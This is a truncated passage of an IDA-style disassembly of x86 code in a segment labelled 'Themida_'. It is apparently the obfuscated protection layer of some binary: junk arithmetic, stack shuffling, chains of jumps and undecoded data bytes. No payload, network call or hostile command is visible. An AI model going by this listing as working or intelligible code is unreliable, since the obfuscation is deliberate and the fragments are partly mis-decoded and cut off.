ecx, 4 jmp loc_54A722 ; --------------------------------------------------------------------------- db 81h, 0F7h, 74h dd 1062420h, 0EC835FFBh, 24348904h, 0F87BE957h, 1C89FFFFh dd 6B5A6824h, 2C890000h, 6F6FBD24h, 6FBB187Dh, 311A7D6Fh dd 0D8215DEBh, 5B2434FFh, 0E904EC83h, 1102h ; --------------------------------------------------------------------------- loc_545550: ; CODE XREF: Themida_:0054AC0Ej push edx jmp loc_54C38C ; --------------------------------------------------------------------------- dw 0C8Bh dd 0E4E95024h, 66FFFFDBh, 6824048Bh, 4EFFh, 68240C89h dd 145Ch, 81242489h, 42404h, 0E9590000h, 4386h, 6A516856h dd 0EDE9332Ah, 5000005Fh, 223DE9h db 0 ; --------------------------------------------------------------------------- loc_545591: ; CODE XREF: Themida_:0054A517j add esp, 4 pop edx pop ebx push 32F5h mov [esp], eax jmp loc_5428AC ; --------------------------------------------------------------------------- db 81h dd 4EDh, 242C3300h, 33242C31h, 895C242Ch, 0BDE92404h, 8FFFFFBDh dd 0BDB6E902h, 0E1F6FFFFh, 52CEE9h, 0E9E58800h, 0FFFFD2C5h dd 9D1C77FFh, 24041158h, 0F4F5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5455DE: ; CODE XREF: Themida_:00542E19j pop ax movzx eax, al jmp loc_54C018 ; --------------------------------------------------------------------------- dd 0B0F4C581h, 0E931FA5Fh, 59CD295Dh, 0E95DEA29h, 0FFFFBD7Ch dd 241C8966h, 88EBB66h, 66DE2966h, 5605665Bh, 0F0016623h dd 0BF665766h, 5662356h, 2966089Dh, 9D2D66F8h, 41B6E908h dd 0C4830000h, 68535204h, 0EC64E26h, 0A0C3815Bh, 89FC45C1h dd 0DA22E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54563E: ; CODE XREF: Themida_:0054665Ej push ebx sub dword ptr [esp], 217733B9h pop eax add eax, 217733B9h mov ebx, [esp] add esp, 4 mov esi, [esp] add esp, 4 push 0F64h mov [esp], esi push ebx mov ebx, 20000h push eax mov eax, ebx mov esi, eax pop eax pop ebx and eax, esi mov esi, [esp] push 314h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], ebp push eax mov eax, 15E95DFEh jmp loc_54ABFD ; --------------------------------------------------------------------------- db 5Fh dd 8904EC83h, 0C8E9240Ch, 68000001h, 6DF0h, 1F6F68h, 4EC8100h dd 89000000h, 4832424h, 48F0424h, 1E94E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5456BE: ; CODE XREF: Themida_:0054BFA4j xor edx, 357944D0h xor edx, 6D570E8Dh mov eax, edx pop edx shl eax, 7 dec eax jmp loc_54A197 ; --------------------------------------------------------------------------- dw 1489h dd 4034BA24h, 0B9517E15h, 20h, 0E950F901h, 0FFFFD07Ah ; --------------------------------------------------------------------------- loc_5456EC: ; CODE XREF: Themida_:0054BC27j add esp, 4 push ebp mov ebp, esp push eax jmp loc_5440C1 ; --------------------------------------------------------------------------- db 5 dd 7B95F8Dh, 0FFD9A3E9h, 240481FFh, 55DF1ED4h, 0FFF43EE9h db 0FFh ; --------------------------------------------------------------------------- loc_545711: ; CODE XREF: Themida_:0054AA77j push esi mov esi, 4 add ebx, esi pop esi jmp loc_54A1D8 ; --------------------------------------------------------------------------- loc_54571F: ; CODE XREF: Themida_:00541EDDj add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 0Ch xor eax, ecx push eax jmp loc_549361 ; --------------------------------------------------------------------------- dd 5A66C22Ch, 91E95366h, 89000017h, 0E954242Ch, 3203h dd 10B5E95Ah, 30AC0000h, 36B6E9D8h, 895E0000h, 1E95EF5h dd 5BFFFFE2h, 0D0F7485Fh, 0FFE9D6E9h, 242489FFh, 4BA52h dd 54010000h, 595A0424h, 4B850h, 0C1010000h, 4685658h dd 8B000000h, 0C4812434h, 4, 0E95EF129h, 0FFFFF93Eh ; --------------------------------------------------------------------------- loc_54579C: ; CODE XREF: Themida_:005484D2j mov esp, [esp] push 6736h mov [esp], edi sub esp, 4 jmp loc_543CB2 ; --------------------------------------------------------------------------- aLScs db '‹,$éCs',0 align 2 dw 0EBD1h dd 9B3AC381h, 0B3E923AAh db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5457C7: ; CODE XREF: Themida_:0054CF9Aj pop edx add bl, 52h jmp loc_5446E0 ; --------------------------------------------------------------------------- dd 592434FFh, 4C481h, 285A0000h, 525B66D8h, 0B0E911B2h dd 0B6000059h, 0F5C68052h, 8073B450h, 0E4C0C4E4h, 80DCF606h dd 0AFE95AC4h, 0BFFFFFC9h, 28FA688Eh, 815EF729h, 7E1B93E9h dd 53F9010Bh, 7E1B93BBh, 0E9D9010Bh, 598Dh ; --------------------------------------------------------------------------- loc_54581C: ; CODE XREF: Themida_:005444A0j jmp loc_541378 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 87h dd 28FFFFD2h, 0C8B66EBh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 570Ch mov [esp], edi jmp loc_544B22 ; --------------------------------------------------------------------------- db 1 aScz db 'Êé—z',0 align 2 dw 0B951h dd 63F471B9h, 4244C01h, 89525859h, 945E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54585E: ; CODE XREF: Themida_:00542BC9j mov esp, [esp] push ebp jmp loc_548468 ; --------------------------------------------------------------------------- db 0B9h dd 75347920h, 0E908E9C1h, 0FFFFD26Eh, 0B6525366h, 5AF388A3h dd 9FDE9h, 0BAF2E900h, 0C480FFFFh, 0FDEC8017h, 0E9E78853h dd 4C2Bh, 8704C583h, 248B242Ch, 2404FF24h, 0BAD2E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5458A6: ; CODE XREF: Themida_:00542A28j add edi, edx add edi, 701A6C33h mov edx, [esp] jmp loc_54B8C7 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835924h, 55D82904h, 0E2748ABDh, 5B2DE96Ah, 0C4810000h dd 4, 5E08950h, 4, 7150E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5458DE: ; CODE XREF: Themida_:00546924j mov eax, 48BB2B6Ch push 49022D63h pop esi sub esi, eax jmp loc_5434C0 ; --------------------------------------------------------------------------- dd 97FE8B9h, 6AC1817Bh, 1982585h, 835E59CAh, 7E904ECh dd 0BE000066h, 2E627F28h, 2012E953h, 0C5810000h, 2DF07D8Eh dd 0FF9F581h, 0E989C726h, 5BD9315Dh, 0FFCBC5E9h, 240C89FFh dd 6250BEB9h, 0FFBA524Dh, 0E9FFFFFFh, 7108h, 24048B66h dd 41E95452h, 81FFFFBBh, 2D57B6C1h, 4FF6E912h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545952: ; CODE XREF: Themida_:00544831j add esp, 4 sub ebp, ecx jmp loc_544E2F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 7574E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54596A: ; CODE XREF: Themida_:00542074j add edi, 342D2C53h sub edi, eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov esi, 76413665h jmp loc_54343F ; --------------------------------------------------------------------------- loc_54598F: ; CODE XREF: Themida_:0054A741j shr eax, 7 push ebp mov ebp, 0F5779B2h shr ebp, 7 jmp loc_54B3C8 ; --------------------------------------------------------------------------- loc_5459A0: ; CODE XREF: Themida_:0054D11Ej xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebp mov ebp, 1 sub esp, 4 mov [esp], ebp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebp, [esp] jmp loc_5486F0 ; --------------------------------------------------------------------------- dw 0EB81h dd 2C8D6BEBh, 7B34C381h, 0DD29A10Ch, 81241C8Bh, 4C4h, 0C5814500h dd 3EA74B7Dh, 0DAE9EDD1h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5459FB: ; CODE XREF: Themida_:0054D40Dj mov edi, esp push esi mov esi, 4FD508CDh sub esi, 3A7B322Bh or esi, 34035133h neg esi sub esi, 0CAA42849h add edi, esi jmp loc_54867E ; --------------------------------------------------------------------------- dw 0E958h dd 7FA5h ; --------------------------------------------------------------------------- loc_545A24: ; CODE XREF: Themida_:00544F8Bj mov [esp], ebp push 3FEh mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx mov ecx, [esp] add esp, 4 mov ebp, [esp] jmp loc_547689 ; --------------------------------------------------------------------------- db 57h dd 2BFh, 60BD5500h, 0E93AAD50h, 0FFFFC6D7h, 66D830ACh dd 0D9B75352h, 4C82E9h, 58C70100h, 4EF81h, 0FF570000h dd 5F042474h, 5C24048Fh, 0EE3E9h, 4B900h, 0AAE90000h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545A87: ; CODE XREF: Themida_:0054A72Dj sub ecx, ebp jmp loc_549983 ; --------------------------------------------------------------------------- dw 77FFh a8sJ db '8éÌJ',0 align 2 aAqnpq9ssiz db '·Í€ïNPQ±9Sé›Z',0 db 0 ; --------------------------------------------------------------------------- loc_545AA5: ; CODE XREF: Themida_:005479EEj sub dword ptr [esp], 4B4B1C95h mov ecx, [esp] add esp, 4 add ecx, 4B4B1C95h pop edx mov ebp, ecx pop ecx xor ebp, 2C750559h sub eax, 7C9C0A3Ah add eax, ebp add eax, 7C9C0A3Ah mov ebp, [esp] add esp, 4 push ebp push 22DDh mov [esp], edx mov edx, 225694Fh sub edx, 225614Fh push ecx mov ecx, edx push eax mov eax, ecx jmp loc_54AB85 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4EC81h, 0DDE90000h, 0F7000053h, 17C281D2h, 3109D8DEh dd 0F0315AD6h, 8324348Bh, 59E904C4h, 8BFFFFB8h, 0C4832404h dd 240C8704h, 243C895Ch, 0FFDE13E9h, 242C8BFFh, 8104C483h dd 181CD4C7h, 8BFE017Dh, 0C481243Ch, 4, 0BF57C601h, 6E004FABh dd 0E95FFE29h, 4EADh, 7FAF0559h, 0C601C84Bh, 2C68158h dd 87000000h, 248B2434h, 48B6624h, 59545124h, 4C181h, 0E9830000h dd 240C8704h, 2414895Ch, 0C281E289h, 4, 2F4C68h, 243C8900h dd 1726BBFh, 0F7814747h, 2FA63AEDh, 5EEAF781h, 0BA5201D2h dd 3EF73704h, 74E9DAF7h, 89000025h, 74FF2404h, 48B0424h dd 2A47E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545BC2: ; CODE XREF: Themida_:00542BC1j push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_542503 ; --------------------------------------------------------------------------- db 89h dd 0C2892414h, 0FF5AD389h, 0B9E92434h, 0B400003Ch, 58E5003Eh dd 4B7CE9h, 0B8685500h, 5D416545h, 0C104E5C1h, 22E903E5h dd 0BBFFFFD3h, 441F57AEh, 59CFE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545C06: ; CODE XREF: Themida_:00549717j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx mov edx, 64060865h mov ebp, 0E9E0242h add ebp, edx jmp loc_54BF5E ; --------------------------------------------------------------------------- loc_545C22: ; CODE XREF: Themida_:0054AB53j xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_54B152 ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 0E9240489h, 20DEh, 931D2B9h dd 0EEE9811Ah, 8115F22Eh, 807F76E9h, 8BCF2958h, 0A3E9240Ch dd 81000035h, 0B06F4EF2h, 94E2814Bh, 0E95D5430h, 0FFFFDA00h dd 3FF8E956h, 41680000h, 8900005Ch, 4812424h, 424h, 0E138E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545C8A: ; CODE XREF: Themida_:0054CBC0j pop ecx push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push edx jmp loc_54A3FF ; --------------------------------------------------------------------------- dd 2102472Dh, 1E6C2D7Ah, 0C601F935h, 8BF10158h, 0C4832434h dd 0B879E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545CB2: ; CODE XREF: Themida_:00547698j add ebp, 40E20310h add ebp, esi sub ebp, 40E20310h sub ebp, 6EEC4582h jmp loc_54421C ; --------------------------------------------------------------------------- loc_545CCB: ; CODE XREF: Themida_:0054A507j pop esp jmp loc_5496F0 ; --------------------------------------------------------------------------- loc_545CD1: ; CODE XREF: Themida_:0054CB9Fj mov esi, esp add esi, 4 jmp loc_5438F6 ; --------------------------------------------------------------------------- dw 23B1h dd 0E91DC180h, 23CEh, 240C8B66h, 0E9E68956h, 6943h, 10F1F281h dd 0AEE95688h, 1000033h, 2BC681DEh, 8173BE33h, 52D66EEh dd 1B8EE907h, 0C7810000h, 4, 25ED6855h, 4890000h, 75C06824h dd 3C890000h, 1585BF24h, 0B6E93F35h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545D33: ; CODE XREF: Themida_:0054D233j add esp, 4 jmp loc_54520D ; --------------------------------------------------------------------------- loc_545D3E: ; CODE XREF: Themida_:0054239Ej mov ch, 6Ah sub dl, ch pop ecx add bl, dl jmp loc_54B38B ; --------------------------------------------------------------------------- loc_545D4A: ; CODE XREF: Themida_:00541E85j add ebx, 4 jmp loc_542E4C ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 382B68h, 242C8900h, 468h, 242C8B00h, 4C481h, 0EE010000h dd 56242C8Bh, 52E9E689h, 2900003Dh, 0AD005D0h, 55A3B70h dd 359F40C3h, 0E9E68956h, 7757h ; --------------------------------------------------------------------------- loc_545D90: ; CODE XREF: Themida_:00546375j add ecx, 4 push ecx jmp loc_54B6C0 ; --------------------------------------------------------------------------- loc_545D99: ; CODE XREF: Themida_:0054871Fj push ebp push ebx jmp loc_541D5E ; --------------------------------------------------------------------------- dd 0FF2434FFh, 1C8B2434h, 9D3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545DAE: ; CODE XREF: Themida_:0054D5B3j add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp loc_545DC4: ; CODE XREF: Themida_:00548CA8j push ebx jmp loc_54D045 ; --------------------------------------------------------------------------- dw 0ED81h dd 0B36D1820h, 0E4E9E801h, 29FFFFEDh, 0EB815DEBh, 45D63D8Bh dd 5350FB01h, 17584C68h, 0D3F75B08h, 2F4AE9h, 5AD72800h dd 5208EFC0h, 0D59E9h, 68E68900h, 2BC9h, 0BB241C89h, 4 dd 0FFE3C9E9h, 6CC681FFh, 13A8FEDh, 0C1815EF2h, 66B3368Bh dd 0E981D101h, 66B3368Bh, 8324148Bh, 0C8704C4h, 24248B24h dd 0FFD405E9h db 0FFh ; --------------------------------------------------------------------------- loc_545E39: ; CODE XREF: Themida_:0054A46Cj sub eax, ebp pop ebp shl eax, 8 add eax, 677673A0h mov [edi+20h], eax pop eax shl dword ptr [edi+20h], 4 jmp loc_54AE30 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 81h dd 0D878D2CFh, 0E94E907h, 42350000h, 121377Bh, 0E6E958C5h dd 50FFFFBFh, 0FFF04AE9h, 241487FFh, 773FE9h db 0 ; --------------------------------------------------------------------------- loc_545E79: ; CODE XREF: Themida_:00542259j pop ebx push eax mov eax, edx mov edi, eax mov eax, [esp] add esp, 4 pop edx and eax, edi push dword ptr [esp] pop edi push ebx jmp loc_54C2CD ; --------------------------------------------------------------------------- dw 0D001h dd 8124148Bh, 4C4h, 4EC8300h, 0FF240489h, 8B042474h, 0C4812404h dd 4, 8B24048Fh, 50E92424h, 68FFFFC8h, 11B5h, 0BF243C89h dd 544379CDh, 0FFDD82E9h, 49EC68FFh, 3C890000h, 47AAE924h dd 0CF310000h, 0F5E78159h, 4758A419h, 7BF5E781h, 0EF811DDEh dd 0F981E946h, 0B2E9F901h, 5DFFFFC7h, 0FFE9A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_545EFD: ; CODE XREF: Themida_:00547AB8j mov eax, 3576117Fh jmp loc_54B7F8 ; --------------------------------------------------------------------------- loc_545F07: ; CODE XREF: Themida_:005413C5j push dword ptr [esp] pop ebx push edx mov edx, esp jmp loc_542BCE ; --------------------------------------------------------------------------- db 0BEh dd 71DA9FE1h, 1E9F301h, 8900004Eh, 80BD55E6h, 815EC968h dd 9A483EE5h, 526F6848h, 34890000h, 0DF93E924h, 4B9FFFFh dd 1000000h, 348759CEh, 0C2815C24h, 4, 0C8CBE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545F52: ; CODE XREF: Themida_:0054A296j not bl jmp loc_5451E4 ; --------------------------------------------------------------------------- db 52h, 0E9h, 1Ch dd 8100007Ah, 4C5h, 2C58100h, 0E9000000h, 0FFFFF0F6h, 667DC581h dd 0EE293BA9h, 2434875Dh, 6624248Bh, 0E9240489h, 0FFFFB52Eh ; --------------------------------------------------------------------------- loc_545F88: ; CODE XREF: Themida_:00542EDDj xchg edi, [esp] mov eax, [esp] add esp, 4 push ebp push edx mov edx, 1 mov ebp, edx jmp loc_54A31A ; --------------------------------------------------------------------------- db 31h dd 14332414h, 5223E924h, 0C1830000h, 240C8704h, 0E924248Bh dd 64F8h ; --------------------------------------------------------------------------- loc_545FB8: ; CODE XREF: Themida_:0054D054j add edx, 4 xchg edx, [esp] jmp loc_548EFA ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0EB810000h, 4, 5C241C87h, 0FFF169E9h db 0FFh ; --------------------------------------------------------------------------- loc_545FDD: ; CODE XREF: Themida_:00548550j mov edx, [esp] add esp, 4 jmp loc_541702 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFE1AFh, 4C48358h, 0FFC52EE9h, 0F7D687FFh dd 31D631D2h, 1955E9F2h, 0C7810000h, 37343461h, 0E957505Eh dd 0FFFFC2D6h, 0A8368h, 243C8900h, 23E16855h, 0F1E96FBBh db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54602B: ; CODE XREF: Themida_:0054AE03j shr ebp, 2 inc ebp shl ebp, 5 xchg edx, ebp not edx xchg edx, ebp inc ebp jmp loc_5417F6 ; --------------------------------------------------------------------------- dw 8ABFh dd 81257757h, 5302B4C7h, 5FFE3140h, 5502E6C1h, 0CF66E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546056: ; CODE XREF: Themida_:00546842j mov ebx, 3CB0128h and ebx, 0DFA113Fh jmp loc_54A367 ; --------------------------------------------------------------------------- loc_546066: ; CODE XREF: Themida_:00544A0Cj pop esp jmp loc_54B3BD ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 8BE83000h, 0C483240Ch, 66EB8004h, 42B86866h dd 240C8966h, 6574E9h, 4BA00h, 0D6010000h, 0E924148Bh dd 0C14h, 8105EBC1h, 0A54B7CEBh, 0FFC38190h, 52FFFFFFh dd 464CC0BAh, 8EAC176h, 0C7F2814Ah, 814D6F52h, 0D0629EE2h dd 6B72E96Bh, 0E95C0000h, 562Ch ; --------------------------------------------------------------------------- loc_5460CC: ; CODE XREF: Themida_:00548570j pop edi push ebx push ecx mov ecx, 3F067835h jmp loc_544BF8 ; --------------------------------------------------------------------------- db 66h, 81h, 0E9h dd 665B1B45h, 6601C183h, 0A115C181h, 4787E9h, 2BF00h, 0CDE90000h dd 8FFFFD8h, 0D9F658C1h, 0E903E1C0h, 5D53h, 3C8BF801h dd 2CE95624h, 89000041h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 52E5815Ch, 0F74DA342h, 3BF581DDh, 813B3613h, 0E978AFC5h dd 5DE801D1h, 4AA5BE56h, 683381h, 29000000h, 348B2434h dd 4C48124h, 68000000h, 4282h, 0B9240C89h, 27806002h, 650AC681h dd 0CE2941D7h, 1983E9h db 0 ; --------------------------------------------------------------------------- loc_546169: ; CODE XREF: Themida_:00543DFCj add edi, 7F8F5CCFh shl edi, 4 jmp loc_54945D ; --------------------------------------------------------------------------- a24sSg db '½24™$éƒ/',0 dd 2CE95F00h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546187: ; CODE XREF: Themida_:0054BA5Dj push esi mov esi, 48FE2861h sub esi, 48FE285Dh add ebp, esi pop esi jmp loc_544679 ; --------------------------------------------------------------------------- loc_54619B: ; CODE XREF: Themida_:005437C1j xor [esp], ebp jmp loc_54480F ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0A2BA2414h, 4213E02Ah dd 2C76E9h db 0 ; --------------------------------------------------------------------------- loc_5461C1: ; CODE XREF: Themida_:005486C4j mov esi, 4 add eax, esi mov esi, [esp] jmp loc_54D123 ; --------------------------------------------------------------------------- dd 0DEBC381h, 0D2E95C70h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5461DB: ; CODE XREF: Themida_:00547A3Aj mov [esp], ecx mov ch, 3Ch jmp loc_546718 ; --------------------------------------------------------------------------- db 68h, 0E2h, 62h dd 34890000h, 2474FF24h, 8FE95E04h, 100005Ah, 0C631E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5461FE: ; CODE XREF: Themida_:00541E7Aj sub ecx, eax jmp loc_54BB86 ; --------------------------------------------------------------------------- loc_546205: ; CODE XREF: Themida_:0054A261j xor ebx, 73588069h sub esi, ebx pop ebx jmp loc_546704 ; --------------------------------------------------------------------------- db 5Ah dd 8107E6C1h, 0FE2F3BC6h, 60BB53E8h, 4B6CC76Dh, 8104EBC1h dd 0C361D8CBh, 0E9DBF76Dh, 613h, 18EFF581h, 0C581517Ah dd 0E5C8C564h, 5C33E9h, 8CBB5300h, 14F7F01h, 0E9515BDEh dd 800h, 4EC81h, 1C890000h, 1CBB24h, 0EB810000h, 1E45712Eh dd 477EE9h, 5DE88900h, 738ABF57h, 0F80942CDh, 1A54E95Fh dd 0D9300000h, 241C8B66h, 2C481h, 0F1800000h, 3E3FE9C7h dd 0ED830000h, 242C8704h, 4407E9h, 4EC8300h, 81242489h dd 42404h, 348B0000h, 4C48124h, 68000000h, 45BBh, 52242C89h dd 0E6061CBAh, 5AD58904h, 8BE9EDD1h, 81000061h, 4C4h, 7CED8100h dd 57737038h, 32C5BD55h, 60E96672h, 81FFFFE1h, 4C4h, 72496800h dd 4890000h, 3D88B824h, 8C353EB5h, 13EB53Dh, 8DE958C7h dd 5D000016h, 74A0F381h, 0EE95FEBh, 0C100001Eh, 0B2E907EBh dd 5B000021h, 48BC189h, 0C17DE924h, 0EC83FFFFh, 240C8904h dd 721DB850h, 0E7B9321Bh, 1CDE48Dh, 0CE0158C1h, 51240C8Bh dd 0C181E189h, 4, 8704C183h, 815C240Ch, 4C6h, 4EC8100h dd 89000000h, 74FF2434h, 8F5E0424h, 0E95C2404h, 0FFFFB010h ; --------------------------------------------------------------------------- loc_546368: ; CODE XREF: Themida_:005428D4j push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_545D90 ; --------------------------------------------------------------------------- loc_54637A: ; CODE XREF: Themida_:005494F5j push dword ptr [esp] jmp loc_54471A ; --------------------------------------------------------------------------- dw 0B850h dd 4F7F3943h, 4DE1EF81h, 0C7293FA4h, 4DE1B850h, 0C7013FA4h dd 2434FF58h, 4C48358h, 8103E7C1h, 0CF681AEFh, 5FFB89C6h dd 0E95AD331h, 0FFFFAFC4h ; --------------------------------------------------------------------------- loc_5463B4: ; CODE XREF: Themida_:00543AADj add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_54D485 ; --------------------------------------------------------------------------- db 0B8h dd 17E33114h, 5BBCEA81h, 0C201429Ah, 5BBCC281h, 158429Ah dd 0B4E955FAh, 0FF00002Bh, 669D1C77h, 241CD259h, 6A33E99Ch dd 0EE010000h, 2434875Dh, 0E924248Bh, 0FFFFE85Bh, 0E924248Bh dd 0FFFFEB38h, 0D5ED815Eh, 0E9396846h, 0FFFFFFDEh, 4C581h dd 68520000h, 4C5Eh, 0BE243489h, 3F0D0270h, 8C7F681h, 0E6C17ADDh dd 0D4EE8103h, 8161AB7Bh, 0B39D5BF6h, 152E9FFh, 0F2890000h dd 0FFB07DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54644D: ; CODE XREF: Themida_:00548352j mov [esp], eax mov eax, 4 jmp loc_54A7F1 ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 83000000h, 148704C2h, 0B9515C24h, 49512E51h dd 2E55F181h, 36E94951h, 900000Eh, 0E9591C4Fh, 0FFFFED2Ah ; --------------------------------------------------------------------------- loc_546484: ; CODE XREF: Themida_:00544EA8j shl dl, 3 jmp loc_542395 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 2C78100h, 87000000h, 248B243Ch, 0E9506624h dd 0FFFFE0E2h, 0D324248Bh, 0C5E92424h, 0E9FFFFAEh, 0FFFFAEC0h ; --------------------------------------------------------------------------- loc_5464B8: ; CODE XREF: Themida_:00544B6Fj mov ecx, 4B1E64AFh add ecx, 16FB6ABEh shr ecx, 8 dec ecx sub ecx, 0A5B403E1h jmp loc_54264E ; --------------------------------------------------------------------------- dw 0EB01h dword_5464D4 dd 0FFE6EAE9h, 69A3BFFFh, 52E9143Bh, 68000032h, 40B73430h dd 5B2434FFh, 8104C483h, 0B73432F3h, 5BD88940h, 3358C301h dd 1C31241Ch, 241C3324h, 0E924248Bh, 40ABh, 2469E952h dd 34870000h, 24248B24h, 0FFAE5BE9h, 39E9BEFFh, 0F6813B88h dd 3DF90C9Bh, 412EF681h, 0EE8153C1h, 55B07458h, 266FE9h dd 240C8900h, 0B10EB450h, 0FFE13078h, 83582434h, 84E904C4h dd 1000059h, 4EC81C2h, 89000000h, 6856242Ch, 49311F73h dd 0FFF1F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_546565: ; CODE XREF: Themida_:00549DDCj not ebx xor ebx, 0A0DF0604h add eax, 44891A0Dh add eax, 41533664h sub eax, ebx sub eax, 41533664h sub eax, 44891A0Dh pop ebx jmp loc_546C4A ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd offset dword_457444+272A5h dd 0E9E82100h, 0FFFFEE8Ah, 98BB43BAh, 0ACBE56CCh, 0E927C439h dd 3C50h, 4EC815Ah, 89000000h, 86B02404h, 0CD04E8D0h, 28E1E9h dd 31685C00h, 89000012h, 8957242Ch, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 241C895Ch, 468h, 0DD895B00h, 81241C8Bh dd 4C4h, 96BE900h, 0C7010000h, 3DCDE9h, 45AEB800h, 0ABE94EE1h dd 0BA000041h, 4, 0FFD4CEE9h, 4C481FFh, 68000000h, 3607h dd 0E9241489h, 333h, 0E4717468h, 0D9F75921h, 2FCAB850h dd 0D0F77F4Ah, 762DD8F7h, 3185FF84h, 0CD8958C1h, 4EC8359h dd 0E9240C89h, 34E6h ; --------------------------------------------------------------------------- loc_546648: ; CODE XREF: Themida_:005427B8j mov edi, 73A0906Bh jmp loc_54769D ; --------------------------------------------------------------------------- dw 3C89h dd 0E9E78924h, 0FFFFEE1Ch ; --------------------------------------------------------------------------- loc_54665C: ; CODE XREF: Themida_:00541ED6j mov ebx, esi jmp loc_54563E ; --------------------------------------------------------------------------- db 31h dd 9CE956DFh, 68FFFFF2h, 1DB0h, 56241489h, 0FFC424E9h db 0FFh ; --------------------------------------------------------------------------- loc_546679: ; CODE XREF: Themida_:0054867Fj push edx mov edx, 4 add edi, edx mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push edi mov edi, 15A731B1h or edi, 3AC967EEh or edi, 3FD17A5Ch xor edi, 683D0279h shl edi, 7 shl edi, 6 sub edi, 4FB0BFFCh add esi, edi pop edi xchg esi, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_54BD97 ; --------------------------------------------------------------------------- db 5Dh dd 31243433h, 34332434h, 0E7E95C24h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5466DB: ; CODE XREF: Themida_:00548ACBj neg bh push ecx mov cl, 0B9h jmp loc_5414D8 ; --------------------------------------------------------------------------- db 5Ah, 89h, 0C7h dd 8BF92158h, 8953243Ch, 4B951E3h, 81000000h, 0B03897C3h dd 0E9CB0140h, 0FFFFDF11h ; --------------------------------------------------------------------------- loc_546704: ; CODE XREF: Themida_:0054620Ej xchg esi, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_542EBB ; --------------------------------------------------------------------------- loc_546718: ; CODE XREF: Themida_:005461E0j push bx mov bh, 74h xor ch, bh jmp loc_548AC6 ; --------------------------------------------------------------------------- db 21h dd 24048BC6h, 4C481h, 0D6F70000h, 9EEE8146h, 0E944B9A6h dd 14CEh, 240C8966h, 0FFAC33E9h db 0FFh ; --------------------------------------------------------------------------- loc_546745: ; CODE XREF: Themida_:00544770j sub ebp, 2DBF5D5Fh pop edx and eax, ebp jmp loc_54BCAF ; --------------------------------------------------------------------------- loc_546753: ; CODE XREF: Themida_:00543B43j shr esi, 2 dec esi add esi, 0FE13BB58h add ebx, esi pop esi push edi mov edi, 5A534FBAh xor ebx, edi mov edi, [esp] add esp, 4 add ebx, 0FFFFFFFFh jmp loc_549923 ; --------------------------------------------------------------------------- db 1, 0E9h, 5Dh dd 0FFDF35E9h, 4C481FFh, 53000000h, 0C381E389h, 4, 4C381h dd 1C870000h, 54565C24h, 6C0E9h db 0 ; --------------------------------------------------------------------------- loc_5467A1: ; CODE XREF: Themida_:005469C1j pop edx push edi mov edi, 5D050328h inc edi xor edi, 307A7DF5h shr edi, 2 jmp loc_54C496 ; --------------------------------------------------------------------------- db 89h dd 0E950240Ch, 29BCh, 31242C33h, 32E9242Ch, 4FFFFD8h, 28412C1Ch dd 2C4104D8h, 62E9531Ch, 